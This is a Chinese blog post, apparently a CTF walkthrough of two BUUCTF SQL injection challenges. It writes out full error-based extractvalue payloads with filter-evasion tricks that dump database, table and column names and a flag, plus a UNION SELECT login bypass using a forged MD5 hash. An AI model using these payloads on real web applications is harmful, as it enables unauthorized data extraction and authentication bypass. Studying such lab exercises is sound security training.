[BT]BUUCTF刷题第7天（3

最新推荐文章于 2024-08-14 22:40:07 发布

m0_74918915

最新推荐文章于 2024-08-14 22:40:07 发布

阅读量777

点赞数 13

分类专栏： 2024年程序员学习文章标签：数据库 oracle

本文链接：https://blog.csdn.net/m0_74918915/article/details/137662395

版权

2024年程序员学习专栏收录该内容

289 篇文章 0 订阅

订阅专栏

又是一道SQL注入题，不过这里考察的是新的知识点：报错注入

通过看别人的题解得知该网站过滤空格、=、or等字样，也可以自己用BP跑一遍

小知识点：

（）可代替空格
like可代替=
通过right和left分段查看字符串、

构造Payload：

?username=admin&password=123'^extractvalue(1,concat(0x7e,(select(database()))))%23

^：网站过滤了and和or，这里的^代表异或，可以实现连接后面的SQL语句的作用

extractvalue：原本是替换XML元素的函数，这里用来产生报错然后输出报错来源，函数期望第一个参数是一个 XML 字符串，第二个参数是一个 XPath 表达式，但在这里第一个参数是1，第二个参数是拼接了0x7e（即~）和SQL执行后返回的结果的值，由于含特殊符号 ~，会触发数据库报错，并将参数2的内容显示在报错信息中，于是我们就拿到了想要的信息

%23：解码后是#，由于url的#有特定作用，因此无法将其直接通过url传过去，需要先进行编码

此外，类似extractvalue功能的函数还有updatexml

在这里插入图片描述

可以看到成功返回了数据库名

将Payload里的SQL命令select(database())换成select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek'))来输出表名

在这里插入图片描述

再替换成select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')输出列名

在这里插入图片描述

输出flag（由于flag过长，超过32字符，因此需要分段输出）：

左部分：

?username=admin&password=123'^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23  //爆左边

在这里插入图片描述
右部分：

?username=admin&password=123'^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23  //爆右边

在这里插入图片描述
根据结果拼接即可拿到完整flag
flag{e8f583a4-a5ed-49df-8bec-522092fb56d9}

[GXYCTF2019]BabySQli

在这里插入图片描述
打开网站是一个平平无奇的登录界面，F12后也没发现什么有用的信息，随便输入用户名和密码，返回提示wrong user! 但是在这个页面F12后发现了新的内容

在这里插入图片描述
这段注释内容是经过编码后得到的，将其先进行Base32解码（将可能的编码方式都试一遍）
得到：c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

明显的=后缀，再进行Base64解码
得到：select * from user where username = '$name'

说明这是一段登录验证的提示

首先测试'

name=1'&pw=1

在这里插入图片描述
证明存在注入点，再尝试or

name=1' or &pw=1

在这里插入图片描述
说明过滤了or，尝试order，发现也被过滤了，但是Order没被过滤

name=1' Order by 3 %23&pw=1

返回：
在这里插入图片描述

这里将1换成admin即可

当列数量设为4时会报错，设为3时返回wrong pass!，说明有3列

接下来时测试注入点

name=1' union select 'admin',2,3 %23&pw=1

提示wrong user!

换成：

name=1' union select 1,'admin',3 %23&pw=1

提示wrong pass!

换成：

name=1' union select 1,'admin',3 %23&pw=1

提示wrong pass!

说明用户名在第2列，一般来说第1列是id，第3列就是password了

根据提示的SQL命令，我们猜测网站根据select * from user where username = '$name'查询到的用户名和密码与用户表单上传的用户名和密码（经加密）进行比对，由于网站一般使用MD5加密，所以这里我们尝试将上传的password表单值经MD5加密后写进SQL语句：

name=1' union select 1,'admin','202cb962ac59075b964b07152d234b70' %23&pw=123

成功拿到glag

在这里插入图片描述

但是为了进一步理解这条Payload（我当时没太懂），我们将其和SQL语句拼接起来：

select \* from user where username = '1'
union select 1,'admin','202cb962ac59075b964b07152d234b70' #'

这里select * from user where username = '1'找不到任何数据（没有哪个的用户名是1），因此重点在后一条语句，select 1,'admin','202cb962ac59075b964b07152d234b70'这条语句不会从任何一个表中查找任何实际的数据，它只会返回由1,'admin','202cb962ac59075b964b07152d234b70'这三个值组成的新表，那么代码读到的就以为是数据库中用户名为admin，密码为123的数据了，经过和表单传来的123比对肯定就能比对成功，当然密码也可以设为其他值